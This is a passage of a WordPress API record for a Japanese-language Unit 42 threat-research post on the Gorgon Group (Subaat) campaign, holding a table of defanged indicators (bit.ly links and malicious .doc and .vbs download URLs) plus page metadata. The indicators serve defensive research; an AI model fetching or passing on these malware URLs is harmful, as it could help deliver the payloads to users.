<tr>\n<td>http:\/\/bit[.]ly\/LoadingPelasewaits<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/docnew\/2.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2JnNtG7<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/17.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/shawclk2HZJXOr<\/td>\n<td>http:\/\/panelonetwothree[.]ml\/simon\/exp\/25exp\/26\/doc\/final\/26.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/loadijgng<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/9.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/PleaseWaitLoading<\/td>\n<td>http:\/\/www.asaigoldenrice[.]com\/daq\/doc\/7.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadinger<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/1.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Workingwait<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/21.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadingplzwait<\/td>\n<td>http:\/\/www.asaigoldenrice[.]com\/daq\/doc\/5.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2HuOFBQ<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/5.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/LoadingPleasewait1<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/20.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/LlOrRinding<\/td>\n<td>http:\/\/www.0-day[.]us\/img\/doc\/11.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadingwaitplzz<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/16.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2HWdrzTgfufuyfkCTYTDFYTgtfutf<\/td>\n<td>http:\/\/stevemikeforce[.]com\/work\/doc\/12.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2KHEnRKxestrhdyhdDTDRDTRthdydy<\/td>\n<td>http:\/\/stevemikeforce[.]com\/work\/doc\/10.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/unkwonas<\/td>\n<td>http:\/\/asaigoldenrice[.]com\/sim\/new.vbs<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Laodiingpleasewait<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/13.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/wordxchange<\/td>\n<td>http:\/\/asaigoldenrice[.]com\/sim\/doc\/kalu.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadsinfpleasewait<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/30.docx<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loardsing<\/td>\n<td>http:\/\/www.0-day[.]us\/img\/doc\/7.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2ImbyrQ<\/td>\n<td>http:\/\/acorn-paper[.]com\/administrator\/6.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/LoadingPleasewait<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/20.doc<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3><a id=\"post-104133-\u30c9\u30e1\u30a4\u30f3\"><\/a>\u30c9\u30e1\u30a4\u30f3<\/h3>\n<p>\u3053\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u5168\u4f53\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u4f7f\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u30c9\u30e1\u30a4\u30f3\u306e\u30ea\u30b9\u30c8\u306b\u3064\u3044\u3066\u306f\u3001<a href=\"https:\/\/github.com\/pan-unit42\/iocs\/blob\/master\/gorgon\/domains.txt\">\u4ee5\u4e0b\u306e\u30d5\u30a1\u30a4\u30eb<\/a>\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<h3><a id=\"post-104133-\u30cf\u30c3\u30b7\u30e5\"><\/a>\u30cf\u30c3\u30b7\u30e5<\/h3>\n<p>\u3053\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u78ba\u8a8d\u3055\u308c\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u3059\u3079\u3066\u306e\u30cf\u30c3\u30b7\u30e5\u306e\u30ea\u30b9\u30c8\u306b\u3064\u3044\u3066\u306f\u3001<a href=\"https:\/\/github.com\/pan-unit42\/iocs\/blob\/master\/gorgon\/hashes.csv\">\u4ee5\u4e0b\u306e\u30d5\u30a1\u30a4\u30eb<\/a>\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 \u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u8105\u5a01\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u30c1\u30fc\u30e0Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f\u30012017\u5e74\u4ee5\u6765Subaat\u3068\u3044\u3046\u653b\u6483\u8005\u3092\u8ffd\u8de1\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u6700\u8fd1\u3001Subaat\u306f\u6a19\u7684\u578b\u653b\u6483\u6d3b\u52d5\u3092\u518d\u958b\u3057\u305f\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u653b\u6483<\/p>\n","protected":false},"author":22,"featured_media":103246,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4469,1974,4431,4428,4470],"tags":[6941,6607,6942],"product_categories":[4444,4343,4448],"coauthors":[935,968,933,888],"class_list":["post-104133","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vulnerabilities","category-malware-ja","category-threat-actor-groups-ja","category-threat-research-ja","category-vulnerabilities-ja","tag-cve-2017-0199-ja","tag-gorgon-group-ja","tag-subaat","product_categories-advanced-wildfire-ja","product_categories-cortex-xdr","product_categories-cortex-xdr-ja"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.0 (Yoast SEO v27.0) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>\u56fd\u5bb6\u3078\u306e\u6a19\u7684\u578b\u653b\u6483\u3068\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3092\u7d99\u7d9a\u3059\u308bGorgon Group\u306e\u8a73\u7d30<\/title>\n<meta name=\"description\" content=\"Unit 42\u306f\u30012017\u5e74\u4ee5\u6765Subaat\u3068\u3044\u3046\u653b\u6483\u8005\u3092\u8ffd\u8de1\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u6700\u8fd1\u3001Subaat\u306f\u6a19\u7684\u578b\u653b\u6483\u6d3b\u52d5\u3092\u518d\u958b\u3057\u305f\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u653b\u6483\u8005\u306f\u3001\u4e16\u754c\u306e\u653f\u5e9c\u6a5f\u95a2\u306b\u6a19\u7684\u578b\u653b\u6483\u3092\u4ed5\u639b\u3051\u308b\u3001\u500b\u4eba\u304b\u3089\u69cb\u6210\u3055\u308c\u308b\u3088\u308a\u5927\u304d\u306a\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306e\u4e00\u54e1\u3067\u3042\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u56fd\u5bb6\u3078\u306e\u6a19\u7684\u578b\u653b\u6483\u3068\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3092\u7d99\u7d9a\u3059\u308bGorgon Group\u306e\u8a73\u7d30\" \/>\n<meta property=\"og:description\" content=\"Unit 42\u306f\u30012017\u5e74\u4ee5\u6765Subaat\u3068\u3044\u3046\u653b\u6483\u8005\u3092\u8ffd\u8de1\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u6700\u8fd1\u3001Subaat\u306f\u6a19\u7684\u578b\u653b\u6483\u6d3b\u52d5\u3092\u518d\u958b\u3057\u305f\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u653b\u6483\u8005\u306f\u3001\u4e16\u754c\u306e\u653f\u5e9c\u6a5f\u95a2\u306b\u6a19\u7684\u578b\u653b\u6483\u3092\u4ed5\u639b\u3051\u308b\u3001\u500b\u4eba\u304b\u3089\u69cb\u6210\u3055\u308c\u308b\u3088\u308a\u5927\u304d\u306a\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306e\u4e00\u54e1\u3067\u3042\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/\" \/>\n<meta property=\"og:site_name\" content=\"Unit 42\" \/>\n<meta property=\"article:published_time\" content=\"2018-08-02T12:00:54+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2020-02-05T06:48:19+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/04\/unit42-blog-600x300.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"600\" \/>\n\t<meta property=\"og:image:height\" content=\"300\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Robert Falcone, David Fuertes, Josh Grunzweig, Kyle Wilhoit\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"\u56fd\u5bb6\u3078\u306e\u6a19\u7684\u578b\u653b\u6483\u3068\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3092\u7d99\u7d9a\u3059\u308bGorgon Group\u306e\u8a73\u7d30","description":"Unit 42\u306f\u30012017\u5e74\u4ee5\u6765Subaat\u3068\u3044\u3046\u653b\u6483\u8005\u3092\u8ffd\u8de1\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u6700\u8fd1\u3001Subaat\u306f\u6a19\u7684\u578b\u653b\u6483\u6d3b\u52d5\u3092\u518d\u958b\u3057\u305f\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u653b\u6483\u8005\u306f\u3001\u4e16\u754c\u306e\u653f\u5e9c\u6a5f\u95a2\u306b\u6a19\u7684\u578b\u653b\u6483\u3092\u4ed5\u639b\u3051\u308b\u3001\u500b\u4eba\u304b\u3089\u69cb\u6210\u3055\u308c\u308b\u3088\u308a\u5927\u304d\u306a\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306e\u4e00\u54e1\u3067\u3042\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/","og_locale":"ja_JP","og_type":"article","og_title":"\u56fd\u5bb6\u3078\u306e\u6a19\u7684\u578b\u653b\u6483\u3068\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3092\u7d99\u7d9a\u3059\u308bGorgon Group\u306e\u8a73\u7d30","og_description":"Unit 42\u306f\u30012017\u5e74\u4ee5\u6765Subaat\u3068\u3044\u3046\u653b\u6483\u8005\u3092\u8ffd\u8de1\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u6700\u8fd1\u3001Subaat\u306f\u6a19\u7684\u578b\u653b\u6483\u6d3b\u52d5\u3092\u518d\u958b\u3057\u305f\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u653b\u6483\u8005\u306f\u3001\u4e16\u754c\u306e\u653f\u5e9c\u6a5f\u95a2\u306b\u6a19\u7684\u578b\u653b\u6483\u3092\u4ed5\u639b\u3051\u308b\u3001\u500b\u4eba\u304b\u3089\u69cb\u6210\u3055\u308c\u308b\u3088\u308a\u5927\u304d\u306a\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306e\u4e00\u54e1\u3067\u3042\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002","og_url":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/","og_site_name":"Unit 42","article_published_time":"2018-08-02T12:00:54+00:00","article_modified_time":"2020-02-05T06:48:19+00:00","og_image":[{"width":600,"height":300,"url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/04\/unit42-blog-600x300.jpg","type":"image\/jpeg"}],"author":"Robert Falcone, David Fuertes, Josh Grunzweig, Kyle Wilhoit","twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/#article","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/"},"author":{"name":"Robert Falcone","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/99e613cb620722a191a363182abe6fb1"},"headline":"\u56fd\u5bb6\u3078\u306e\u6a19\u7684\u578b\u653b\u6483\u3068\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3092\u7d99\u7d9a\u3059\u308bGorgon Group\u306e\u8a73\u7d30","datePublished":"2018-08-02T12:00:54+00:00","dateModified":"2020-02-05T06:48:19+00:00","mainEntityOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/"},"wordCount":2365,"commentCount":0,"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/#primaryimage"},"thumbnailUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/04\/unit42-blog-600x300.jpg","keywords":["CVE-2017-0199","Gorgon Group","Subaat"],"articleSection":["Vulnerabilities","\u30de\u30eb\u30a6\u30a7\u30a2","\u8105\u5a01\u30a2\u30af\u30bf\u30fc \u30b0\u30eb\u30fc\u30d7","\u8105\u5a01\u30ea\u30b5\u30fc\u30c1","\u8106\u5f31\u6027"],"inLanguage":"ja","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/","url":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/","name":"\u56fd\u5bb6\u3078\u306e\u6a19\u7684\u578b\u653b\u6483\u3068\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3092\u7d99\u7d9a\u3059\u308bGorgon Group\u306e\u8a73\u7d30","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/#primaryimage"},"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/#primaryimage"},"thumbnailUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/04\/unit42-blog-600x300.jpg","datePublished":"2018-08-02T12:00:54+00:00","dateModified":"2020-02-05T06:48:19+00:00","author":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/99e613cb620722a191a363182abe6fb1"},"description":"Unit 42\u306f\u30012017\u5e74\u4ee5\u6765Subaat\u3068\u3044\u3046\u653b\u6483\u8005\u3092\u8ffd\u8de1\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u6700\u8fd1\u3001Subaat\u306f\u6a19\u7684\u578b\u653b\u6483\u6d3b\u52d5\u3092\u518d\u958b\u3057\u305f\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u653b\u6483\u8005\u306f\u3001\u4e16\u754c\u306e\u653f\u5e9c\u6a5f\u95a2\u306b\u6a19\u7684\u578b\u653b\u6483\u3092\u4ed5\u639b\u3051\u308b\u3001\u500b\u4eba\u304b\u3089\u69cb\u6210\u3055\u308c\u308b\u3088\u308a\u5927\u304d\u306a\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306e\u4e00\u54e1\u3067\u3042\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002","breadcrumb":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/#breadcrumb"},"inLanguage":"ja","potentialAction":[{"@type":"ReadAction","target":["https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/"]}]},{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/#primaryimage","url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/04\/unit42-blog-600x300.jpg","contentUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/04\/unit42-blog-600x300.jpg","width":600,"height":300},{"@type":"BreadcrumbList","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/unit42.paloaltonetworks.com\/ja\/"},{"@type":"ListItem","position":2,"name":"\u56fd\u5bb6\u3078\u306e\u6a19\u7684\u578b\u653b\u6483\u3068\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3092\u7d99\u7d9a\u3059\u308bGorgon Group\u306e\u8a73\u7d30"}]},{"@type":"WebSite","@id":"https:\/\/unit42.paloaltonetworks.com\/#website","url":"https:\/\/unit42.paloaltonetworks.com\/","name":"Unit 42","description":"Palo Alto Networks","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/unit42.paloaltonetworks.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"ja"},{"@type":"Person","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/99e613cb620722a191a363182abe6fb1","name":"Robert Falcone","image":{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/image\/4ffb3c2d260a0150fb91b3715442f8b3","url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/11\/unit-news-meta.svg","contentUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/11\/unit-news-meta.svg","caption":"Robert Falcone"},"url":"https:\/\/unit42.paloaltonetworks.com\/ja\/author\/robertfalcone\/"}]}},"_links":{"self":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/104133","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/users\/22"}],"replies":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/comments?post=104133"}],"version-history":[{"count":8,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/104133\/revisions"}],"predecessor-version":[{"id":104188,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/104133\/revisions\/104188"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/media\/103246"}],"wp:attachment":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/media?parent=104133"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/categories?post=104133"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/tags?post=104133"},{"taxonomy":"product_categories","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/product_categories?post=104133"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/coauthors?post=104133"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}